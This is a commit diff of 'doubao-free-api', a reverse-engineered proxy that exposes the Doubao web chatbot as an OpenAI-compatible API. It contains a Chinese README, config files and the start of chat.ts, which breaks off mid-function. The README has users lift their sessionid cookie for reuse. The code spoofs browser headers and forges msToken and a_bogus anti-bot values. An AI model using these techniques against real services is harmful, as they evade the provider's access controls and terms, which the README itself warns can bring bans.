+ version or of any later version published by the Free Software
575
+ Foundation. If the Program does not specify a version number of the
576
+ GNU General Public License, you may choose any version ever published
577
+ by the Free Software Foundation.
578
+
579
+ If the Program specifies that a proxy can decide which future
580
+ versions of the GNU General Public License can be used, that proxy's
581
+ public statement of acceptance of a version permanently authorizes you
582
+ to choose that version for the Program.
583
+
584
+ Later license versions may give you additional or different
585
+ permissions. However, no additional obligations are imposed on any
586
+ author or copyright holder as a result of your choosing to follow a
587
+ later version.
588
+
589
+ 15. Disclaimer of Warranty.
590
+
591
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592
+ APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593
+ HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594
+ OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595
+ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596
+ PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597
+ IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598
+ ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599
+
600
+ 16. Limitation of Liability.
601
+
602
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603
+ WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604
+ THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605
+ GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606
+ USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607
+ DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608
+ PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609
+ EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610
+ SUCH DAMAGES.
611
+
612
+ 17. Interpretation of Sections 15 and 16.
613
+
614
+ If the disclaimer of warranty and limitation of liability provided
615
+ above cannot be given local legal effect according to their terms,
616
+ reviewing courts shall apply local law that most closely approximates
617
+ an absolute waiver of all civil liability in connection with the
618
+ Program, unless a warranty or assumption of liability accompanies a
619
+ copy of the Program in return for a fee.
620
+
621
+ END OF TERMS AND CONDITIONS
622
+
623
+ How to Apply These Terms to Your New Programs
624
+
625
+ If you develop a new program, and you want it to be of the greatest
626
+ possible use to the public, the best way to achieve this is to make it
627
+ free software which everyone can redistribute and change under these terms.
628
+
629
+ To do so, attach the following notices to the program. It is safest
630
+ to attach them to the start of each source file to most effectively
631
+ state the exclusion of warranty; and each file should have at least
632
+ the "copyright" line and a pointer to where the full notice is found.
633
+
634
+ <one line to give the program's name and a brief idea of what it does.>
635
+ Copyright (C) <year> <name of author>
636
+
637
+ This program is free software: you can redistribute it and/or modify
638
+ it under the terms of the GNU General Public License as published by
639
+ the Free Software Foundation, either version 3 of the License, or
640
+ (at your option) any later version.
641
+
642
+ This program is distributed in the hope that it will be useful,
643
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
644
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645
+ GNU General Public License for more details.
646
+
647
+ You should have received a copy of the GNU General Public License
648
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
649
+
650
+ Also add information on how to contact you by electronic and paper mail.
651
+
652
+ If the program does terminal interaction, make it output a short
653
+ notice like this when it starts in an interactive mode:
654
+
655
+ <program> Copyright (C) <year> <name of author>
656
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657
+ This is free software, and you are welcome to redistribute it
658
+ under certain conditions; type `show c' for details.
659
+
660
+ The hypothetical commands `show w' and `show c' should show the appropriate
661
+ parts of the General Public License. Of course, your program's commands
662
+ might be different; for a GUI interface, you would use an "about box".
663
+
664
+ You should also get your employer (if you work as a programmer) or school,
665
+ if any, to sign a "copyright disclaimer" for the program, if necessary.
666
+ For more information on this, and how to apply and follow the GNU GPL, see
667
+ <https://www.gnu.org/licenses/>.
668
+
669
+ The GNU General Public License does not permit incorporating your program
670
+ into proprietary programs. If your program is a subroutine library, you
671
+ may consider it more useful to permit linking proprietary applications with
672
+ the library. If this is what you want to do, use the GNU Lesser General
673
+ Public License instead of this License. But first, please read
674
+ <https://www.gnu.org/licenses/why-not-lgpl.html>.
README.md CHANGED
@@ -1,10 +1,315 @@
1
- ---
2
- title: Doubao
3
- emoji: 📚
4
- colorFrom: blue
5
- colorTo: yellow
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Doubao AI Free 服务
2
+
3
+ [![](https://img.shields.io/github/license/llm-red-team/doubao-free-api.svg)](LICENSE)
4
+ ![](https://img.shields.io/github/stars/llm-red-team/doubao-free-api.svg)
5
+ ![](https://img.shields.io/github/forks/llm-red-team/doubao-free-api.svg)
6
+ ![](https://img.shields.io/docker/pulls/vinlic/doubao-free-api.svg)
7
+
8
+ 支持高速流式输出、支持多轮对话、支持联网搜索、支持智能体对话(计划支持)、支持AI绘图(计划支持)、支持长文档解读(计划支持)、支持图像解析(计划支持),零配置部署,多路token支持,自动清理会话痕迹。
9
+
10
+ 与OpenAI接口完全兼容。
11
+
12
+ 还有以下十个free-api欢迎关注:
13
+
14
+ Moonshot AI(Kimi.ai)接口转API [kimi-free-api](https://github.com/LLM-Red-Team/kimi-free-api)
15
+
16
+ 阶跃星辰 (跃问StepChat) 接口转API [step-free-api](https://github.com/LLM-Red-Team/step-free-api)
17
+
18
+ 阿里通义 (Qwen) 接口转API [qwen-free-api](https://github.com/LLM-Red-Team/qwen-free-api)
19
+
20
+ 智谱AI (智谱清言) 接口转API [glm-free-api](https://github.com/LLM-Red-Team/glm-free-api)
21
+
22
+ 秘塔AI (Metaso) 接口转API [metaso-free-api](https://github.com/LLM-Red-Team/metaso-free-api)
23
+
24
+ 字节跳动(即梦AI)接口转API [jimeng-free-api](https://github.com/LLM-Red-Team/jimeng-free-api)
25
+
26
+ 讯飞星火(Spark)接口转API [spark-free-api](https://github.com/LLM-Red-Team/spark-free-api)
27
+
28
+ MiniMax(海螺AI)接口转API [hailuo-free-api](https://github.com/LLM-Red-Team/hailuo-free-api)
29
+
30
+ 深度求索(DeepSeek)接口转API [deepseek-free-api](https://github.com/LLM-Red-Team/deepseek-free-api)
31
+
32
+ 聆心智能 (Emohaa) 接口转API [emohaa-free-api](https://github.com/LLM-Red-Team/emohaa-free-api)
33
+
34
+ ## 目录
35
+
36
+ * [免责声明](#免责声明)
37
+ * [接入准备](#接入准备)
38
+ * [智能体接入](#智能体接入)
39
+ * [多账号接入](#多账号接入)
40
+ * [Docker部署](#Docker部署)
41
+ * [Docker-compose部署](#Docker-compose部署)
42
+ * [Render部署](#Render部署)
43
+ * [Vercel部署](#Vercel部署)
44
+ * [原生部署](#原生部署)
45
+ * [推荐使用客户端](#推荐使用客户端)
46
+ * [接口列表](#接口列表)
47
+ * [对话补全](#对话补全)
48
+ * [sessionid存活检测](#sessionid存活检测)
49
+ * [注意事项](#注意事项)
50
+ * [Nginx反代优化](#Nginx反代优化)
51
+ * [Token统计](#Token统计)
52
+ * [Star History](#star-history)
53
+
54
+ ## 免责声明
55
+
56
+ **逆向API是不稳定的,建议前往火山引擎官方 https://www.volcengine.com/product/doubao 付费使用API,避免封禁的风险。**
57
+
58
+ **本组织和个人不接受任何资金捐助和交易,此项目是纯粹研究交流学习性质!**
59
+
60
+ **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
61
+
62
+ **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
63
+
64
+ **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
65
+
66
+ ## 接入准备
67
+
68
+ 从 [豆包](https://www.doubao.com/) 获取sessionid
69
+
70
+ 进入豆包登录账号,然后F12打开开发者工具,从Application > Cookies中找到`sessionid`的值,这将作为Authorization的Bearer Token值:`Authorization: Bearer sessionid`
71
+
72
+ ![example0](./doc/example-0.png)
73
+
74
+ ### 多账号接入
75
+
76
+ 你可以通过提供多个账号的sessionid并使用`,`拼接提供:
77
+
78
+ `Authorization: Bearer sessionid1,sessionid2,sessionid3`
79
+
80
+ 每次请求服务会从中挑选一个。
81
+
82
+ ## Docker部署
83
+
84
+ 请准备一台具有公网IP的服务器并将8000端口开放。
85
+
86
+ 拉取镜像并启动服务
87
+
88
+ ```shell
89
+ docker run -it -d --init --name doubao-free-api -p 8000:8000 -e TZ=Asia/Shanghai vinlic/doubao-free-api:latest
90
+ ```
91
+
92
+ 查看服务实时日志
93
+
94
+ ```shell
95
+ docker logs -f doubao-free-api
96
+ ```
97
+
98
+ 重启服务
99
+
100
+ ```shell
101
+ docker restart doubao-free-api
102
+ ```
103
+
104
+ 停止服务
105
+
106
+ ```shell
107
+ docker stop doubao-free-api
108
+ ```
109
+
110
+ ### Docker-compose部署
111
+
112
+ ```yaml
113
+ version: '3'
114
+
115
+ services:
116
+ doubao-free-api:
117
+ container_name: doubao-free-api
118
+ image: vinlic/doubao-free-api:latest
119
+ restart: always
120
+ ports:
121
+ - "8000:8000"
122
+ environment:
123
+ - TZ=Asia/Shanghai
124
+ ```
125
+
126
+ ### Render部署
127
+
128
+ **注意:部分部署区域可能无法连接豆包,如容器日志出现请求超时或无法连接,请切换其他区域部署!**
129
+ **注意:免费账户的容器实例将在一段时间不活动时自动停止运行,这会导致下次请求时遇到50秒或更长的延迟,建议查看[Render容器保活](https://github.com/LLM-Red-Team/free-api-hub/#Render%E5%AE%B9%E5%99%A8%E4%BF%9D%E6%B4%BB)**
130
+
131
+ 1. fork本项目到你的github账号下。
132
+
133
+ 2. 访问 [Render](https://dashboard.render.com/) 并登录你的github账号。
134
+
135
+ 3. 构建你的 Web Service(New+ -> Build and deploy from a Git repository -> Connect你fork的项目 -> 选择部署区域 -> 选择实例类型为Free -> Create Web Service)。
136
+
137
+ 4. 等待构建完成后,复制分配的域名并拼接URL访问即可。
138
+
139
+ ### Vercel部署
140
+
141
+ **注意:Vercel免费账户的请求响应超时时间为10秒,但接口响应通常较久,可能会遇到Vercel返回的504超时错误!**
142
+
143
+ 请先确保安装了Node.js环境。
144
+
145
+ ```shell
146
+ npm i -g vercel --registry http://registry.npmmirror.com
147
+ vercel login
148
+ git clone https://github.com/LLM-Red-Team/doubao-free-api
149
+ cd doubao-free-api
150
+ vercel --prod
151
+ ```
152
+
153
+ ## 原生部署
154
+
155
+ 请准备一台具有公网IP的服务器并将8000端口开放。
156
+
157
+ 请先安装好Node.js环境并且配置好环境变量,确认node命令可用。
158
+
159
+ 安装依赖
160
+
161
+ ```shell
162
+ npm i
163
+ ```
164
+
165
+ 安装PM2进行进程守护
166
+
167
+ ```shell
168
+ npm i -g pm2
169
+ ```
170
+
171
+ 编译构建,看到dist目录就是构建完成
172
+
173
+ ```shell
174
+ npm run build
175
+ ```
176
+
177
+ 启动服务
178
+
179
+ ```shell
180
+ pm2 start dist/index.js --name "doubao-free-api"
181
+ ```
182
+
183
+ 查看服务实时日志
184
+
185
+ ```shell
186
+ pm2 logs doubao-free-api
187
+ ```
188
+
189
+ 重启服务
190
+
191
+ ```shell
192
+ pm2 reload doubao-free-api
193
+ ```
194
+
195
+ 停止服务
196
+
197
+ ```shell
198
+ pm2 stop doubao-free-api
199
+ ```
200
+
201
+ ## 推荐使用客户端
202
+
203
+ 使用以下二次开发客户端接入free-api系列项目更快更简单,支持文档/图像上传!
204
+
205
+ 由 [Clivia](https://github.com/Yanyutin753/lobe-chat) 二次开发的LobeChat [https://github.com/Yanyutin753/lobe-chat](https://github.com/Yanyutin753/lobe-chat)
206
+
207
+ 由 [时光@](https://github.com/SuYxh) 二次开发的ChatGPT Web [https://github.com/SuYxh/chatgpt-web-sea](https://github.com/SuYxh/chatgpt-web-sea)
208
+
209
+ ## 接口列表
210
+
211
+ 目前支持与openai兼容的 `/v1/chat/completions` 接口,可自行使用与openai或其他兼容的客户端接入接口,或者使用 [dify](https://dify.ai/) 等线上服务接入使用。
212
+
213
+ ### 对话补全
214
+
215
+ 对话补全接口,与openai的 [chat-completions-api](https://platform.openai.com/docs/guides/text-generation/chat-completions-api) 兼容。
216
+
217
+ **POST /v1/chat/completions**
218
+
219
+ header 需要设置 Authorization 头部:
220
+
221
+ ```
222
+ Authorization: Bearer [sessionid]
223
+ ```
224
+
225
+ 请求数据:
226
+ ```json
227
+ {
228
+ // 固定使用doubao
229
+ "model": "doubao",
230
+ // 目前多轮对话基于消息合并实现,某些场景可能导致能力下降且受单轮最大token数限制
231
+ // 如果您想获得原生的多轮对话体验,可以传入首轮消息获得的id,来接续上下文
232
+ // "conversation_id": "397193850580994",
233
+ "messages": [
234
+ {
235
+ "role": "user",
236
+ "content": "你叫什么?"
237
+ }
238
+ ],
239
+ // 如果使用SSE流请设置为true,默认false
240
+ "stream": false
241
+ }
242
+ ```
243
+
244
+ 响应数据:
245
+ ```json
246
+ {
247
+ // 如果想获得原生多轮对话体验,此id,你可以传入到下一轮对话的conversation_id来接续上下文
248
+ "id": "397193850645250",
249
+ "model": "doubao",
250
+ "object": "chat.completion",
251
+ "choices": [
252
+ {
253
+ "index": 0,
254
+ "message": {
255
+ "role": "assistant",
256
+ "content": "我叫豆包呀,能陪你聊天、帮你答疑解惑呢。"
257
+ },
258
+ "finish_reason": "stop"
259
+ }
260
+ ],
261
+ "usage": {
262
+ "prompt_tokens": 1,
263
+ "completion_tokens": 1,
264
+ "total_tokens": 2
265
+ },
266
+ "created": 1733300587
267
+ }
268
+ ```
269
+
270
+ ### sessionid存活检测
271
+
272
+ 检测sessionid是否存活,如果存活live未true,否则为false,请不要频繁(小于10分钟)调用此接口。
273
+
274
+ **POST /token/check**
275
+
276
+ 请求数据:
277
+ ```json
278
+ {
279
+ "token": "6750e5af32eb15976..."
280
+ }
281
+ ```
282
+
283
+ 响应数据:
284
+ ```json
285
+ {
286
+ "live": true
287
+ }
288
+ ```
289
+
290
+ ## 注意事项
291
+
292
+ ### Nginx反代优化
293
+
294
+ 如果您正在使用Nginx反向代理doubao-free-api,请添加以下配置项优化流的输出效果,优化体验感。
295
+
296
+ ```nginx
297
+ # 关闭代理缓冲。当设置为off时,Nginx会立即将客户端请求发送到后端服务器,并立即将从后端服务器接收到的响应发送回客户端。
298
+ proxy_buffering off;
299
+ # 启用分块传输编码。分块传输编码允许服务器为动态生成的内容分块发送数据,而不需要预先知道内容的大小。
300
+ chunked_transfer_encoding on;
301
+ # 开启TCP_NOPUSH,这告诉Nginx在数据包发送到客户端之前,尽可能地发送数据。这通常在sendfile使用时配合使用,可以提高网络效率。
302
+ tcp_nopush on;
303
+ # 开启TCP_NODELAY,这告诉Nginx不延迟发送数据,立即发送小数据包。在某些情况下,这可以减少网络的延迟。
304
+ tcp_nodelay on;
305
+ # 设置保持连接的超时时间,这里设置为120秒。如果在这段时间内,客户端和服务器之间没有进一步的通信,连接将被关闭。
306
+ keepalive_timeout 120;
307
+ ```
308
+
309
+ ### Token统计
310
+
311
+ 由于推理侧不在doubao-free-api,因此token不可统计,将以固定数字返回。
312
+
313
+ ## Star History
314
+
315
+ [![Star History Chart](https://api.star-history.com/svg?repos=LLM-Red-Team/doubao-free-api&type=Date)](https://star-history.com/#LLM-Red-Team/doubao-free-api&Date)
configs/dev/service.yml ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ # 服务名称
2
+ name: doubao-free-api
3
+ # 服务绑定主机地址
4
+ host: '0.0.0.0'
5
+ # 服务绑定端口
6
+ port: 8000
configs/dev/system.yml ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # 是否开启请求日志
2
+ requestLog: true
3
+ # 临时目录路径
4
+ tmpDir: ./tmp
5
+ # 日志目录路径
6
+ logDir: ./logs
7
+ # 日志写入间隔(毫秒)
8
+ logWriteInterval: 200
9
+ # 日志文件有效期(毫秒)
10
+ logFileExpires: 2626560000
11
+ # 公共目录路径
12
+ publicDir: ./public
13
+ # 临时文件有效期(毫秒)
14
+ tmpFileExpires: 86400000
doc/example-0.png ADDED

Git LFS Details

  • SHA256: b6c9a102eb9181ac4ffd641bbe4c8c73abcd87329568cf63937fad4f4115436e
  • Pointer size: 131 Bytes
  • Size of remote file: 272 kB
libs.d.ts ADDED
File without changes
package.json ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "name": "doubao-free-api",
3
+ "version": "0.0.4",
4
+ "description": "Doubao Free API Server",
5
+ "main": "dist/index.js",
6
+ "module": "dist/index.mjs",
7
+ "types": "dist/index.d.ts",
8
+ "directories": {
9
+ "dist": "dist"
10
+ },
11
+ "files": [
12
+ "dist/"
13
+ ],
14
+ "scripts": {
15
+ "dev": "tsup src/index.ts --format cjs,esm --sourcemap --dts --publicDir public --watch --onSuccess \"node --enable-source-maps --no-node-snapshot dist/index.js\"",
16
+ "start": "node --enable-source-maps --no-node-snapshot dist/index.js",
17
+ "build": "tsup src/index.ts --format cjs,esm --sourcemap --dts --clean --publicDir public"
18
+ },
19
+ "author": "Vinlic",
20
+ "license": "ISC",
21
+ "dependencies": {
22
+ "axios": "^1.6.7",
23
+ "colors": "^1.4.0",
24
+ "crc-32": "^1.2.2",
25
+ "cron": "^3.1.6",
26
+ "date-fns": "^3.3.1",
27
+ "eventsource-parser": "^1.1.2",
28
+ "form-data": "^4.0.0",
29
+ "fs-extra": "^11.2.0",
30
+ "koa": "^2.15.0",
31
+ "koa-body": "^5.0.0",
32
+ "koa-bodyparser": "^4.4.1",
33
+ "koa-range": "^0.3.0",
34
+ "koa-router": "^12.0.1",
35
+ "koa2-cors": "^2.0.6",
36
+ "lodash": "^4.17.21",
37
+ "mime": "^4.0.1",
38
+ "minimist": "^1.2.8",
39
+ "randomstring": "^1.3.0",
40
+ "uuid": "^9.0.1",
41
+ "yaml": "^2.3.4"
42
+ },
43
+ "devDependencies": {
44
+ "@types/lodash": "^4.14.202",
45
+ "@types/mime": "^3.0.4",
46
+ "tsup": "^8.0.2",
47
+ "typescript": "^5.3.3"
48
+ }
49
+ }
public/welcome.html ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <meta charset="utf-8"/>
5
+ <title>🚀 服务已启动</title>
6
+ </head>
7
+ <body>
8
+ <p>doubao-free-api已启动!<br>请通过LobeChat / NextChat / Dify等客户端或OpenAI SDK接入!</p>
9
+ </body>
10
+ </html>
src/api/consts/exceptions.ts ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ export default {
2
+ API_TEST: [-9999, 'API异常错误'],
3
+ API_REQUEST_PARAMS_INVALID: [-2000, '请求参数非法'],
4
+ API_REQUEST_FAILED: [-2001, '请求失败'],
5
+ API_TOKEN_EXPIRES: [-2002, 'Token已失效'],
6
+ API_FILE_URL_INVALID: [-2003, '远程文件URL非法'],
7
+ API_FILE_EXECEEDS_SIZE: [-2004, '远程文件超出大小'],
8
+ API_CHAT_STREAM_PUSHING: [-2005, '已有对话流正在输出'],
9
+ API_CONTENT_FILTERED: [-2006, '内容由于合规问题已被阻止生成'],
10
+ API_IMAGE_GENERATION_FAILED: [-2007, '图像生成失败'],
11
+ API_VIDEO_GENERATION_FAILED: [-2008, '视频生成失败'],
12
+ }
src/api/controllers/chat.ts ADDED
@@ -0,0 +1,832 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { PassThrough } from "stream";
2
+ import crypto from "crypto";
3
+ import path from "path";
4
+ import _ from "lodash";
5
+ import mime from "mime";
6
+ import axios, { AxiosRequestConfig, AxiosResponse } from "axios";
7
+
8
+ import APIException from "@/lib/exceptions/APIException.ts";
9
+ import EX from "@/api/consts/exceptions.ts";
10
+ import { createParser } from "eventsource-parser";
11
+ import logger from "@/lib/logger.ts";
12
+ import util from "@/lib/util.ts";
13
+
14
+ // 模型名称
15
+ const MODEL_NAME = "doubao";
16
+ // 默认的AgentID
17
+ const DEFAULT_ASSISTANT_ID = "497858";
18
+ // 版本号
19
+ const VERSION_CODE = "20800";
20
+ // 设备ID
21
+ const DEVICE_ID = Math.random() * 999999999999999999 + 7000000000000000000;
22
+ // WebID
23
+ const WEB_ID = Math.random() * 999999999999999999 + 7000000000000000000;
24
+ // 用户ID
25
+ const USER_ID = util.uuid(false);
26
+ // 最大重试次数
27
+ const MAX_RETRY_COUNT = 3;
28
+ // 重试延迟
29
+ const RETRY_DELAY = 5000;
30
+ // 伪装headers
31
+ const FAKE_HEADERS = {
32
+ Accept: "*/*",
33
+ "Accept-Encoding": "gzip, deflate, br, zstd",
34
+ "Accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
35
+ "Cache-control": "no-cache",
36
+ "Last-event-id": "undefined",
37
+ Origin: "https://www.doubao.com",
38
+ Pragma: "no-cache",
39
+ Priority: "u=1, i",
40
+ Referer: "https://www.doubao.com",
41
+ "Sec-Ch-Ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
42
+ "Sec-Ch-Ua-Mobile": "?0",
43
+ "Sec-Ch-Ua-Platform": '"Windows"',
44
+ "Sec-Fetch-Dest": "empty",
45
+ "Sec-Fetch-Mode": "cors",
46
+ "Sec-Fetch-Site": "same-origin",
47
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
48
+ };
49
+ // 文件最大大小
50
+ const FILE_MAX_SIZE = 100 * 1024 * 1024;
51
+
52
+ /**
53
+ * 获取缓存中的access_token
54
+ *
55
+ * 目前doubao的access_token是固定的,暂无刷新功能
56
+ *
57
+ * @param refreshToken 用于刷新access_token的refresh_token
58
+ */
59
+ async function acquireToken(refreshToken: string): Promise<string> {
60
+ return refreshToken;
61
+ }
62
+
63
+ /**
64
+ * 生成伪msToken
65
+ */
66
+ function generateFakeMsToken() {
67
+ const bytes = new Uint8Array(96); // 96 bytes = 128 base64 chars
68
+ crypto.getRandomValues(bytes);
69
+ return btoa(String.fromCharCode(...bytes))
70
+ .replace(/\+/g, '-') // Convert + to -
71
+ .replace(/\//g, '_') // Convert / to _
72
+ .replace(/=/g, ''); // Remove padding
73
+ }
74
+
75
+ /**
76
+ * 生成伪a_bogus
77
+ */
78
+ function generateFakeABogus() {
79
+ return `mf-${util.generateRandomString({
80
+ length: 34,
81
+ })}-${util.generateRandomString({
82
+ length: 6,
83
+ })}`;
84
+ }
85
+
86
+ /**
87
+ * 生成cookie
88
+ */
89
+ function generateCookie(refreshToken: string, msToken: string) {
90
+ return [
91
+ `is_staff_user=false`,
92
+ `store-region=cn-gd`,
93
+ `store-region-src=uid`,
94
+ `sid_guard=${refreshToken}%7C${util.unixTimestamp()}%7C5184000%7CSun%2C+02-Feb-2025+04%3A17%3A20+GMT`,
95
+ `uid_tt=${USER_ID}`,
96
+ `uid_tt_ss=${USER_ID}`,
97
+ `sid_tt=${refreshToken}`,
98
+ `sessionid=${refreshToken}`,
99
+ `sessionid_ss=${refreshToken}`,
100
+ `msToken=${msToken}`,
101
+ ].join("; ");
102
+ }
103
+
104
+ /**
105
+ * 请求doubao
106
+ *
107
+ * @param method 请求方法
108
+ * @param uri 请求路径
109
+ * @param params 请求参数
110
+ * @param headers 请求头
111
+ */
112
+ async function request(method: string, uri: string, refreshToken: string, options: AxiosRequestConfig = {}) {
113
+ const token = await acquireToken(refreshToken);
114
+ const msToken = generateFakeMsToken();
115
+ const response = await axios.request({
116
+ method,
117
+ url: `https://www.doubao.com${uri}`,
118
+ params: {
119
+ aid: DEFAULT_ASSISTANT_ID,
120
+ device_id: DEVICE_ID,
121
+ device_platform: "web",
122
+ language: "zh",
123
+ pkg_type: "release_version",
124
+ real_aid: DEFAULT_ASSISTANT_ID,
125
+ region: "CN",
126
+ samantha_web: 1,
127
+ sys_region: "CN",
128
+ tea_uuid: WEB_ID,
129
+ use_olympus_account: 1,
130
+ version_code: VERSION_CODE,
131
+ web_id: WEB_ID,
132
+ msToken: msToken,
133
+ a_bogus: generateFakeABogus(),
134
+ ...(options.params || {})
135
+ },
136
+ headers: {
137
+ ...FAKE_HEADERS,
138
+ Cookie: generateCookie(token, msToken),
139
+ "X-Flow-Trace": `04-${util.uuid()}-${util.uuid().substring(0, 16)}-01`,
140
+ ...(options.headers || {}),
141
+ },
142
+ timeout: 15000,
143
+ validateStatus: () => true,
144
+ ..._.omit(options, "params", "headers"),
145
+ });
146
+ // 流式响应直接返回response
147
+ if (options.responseType == "stream")
148
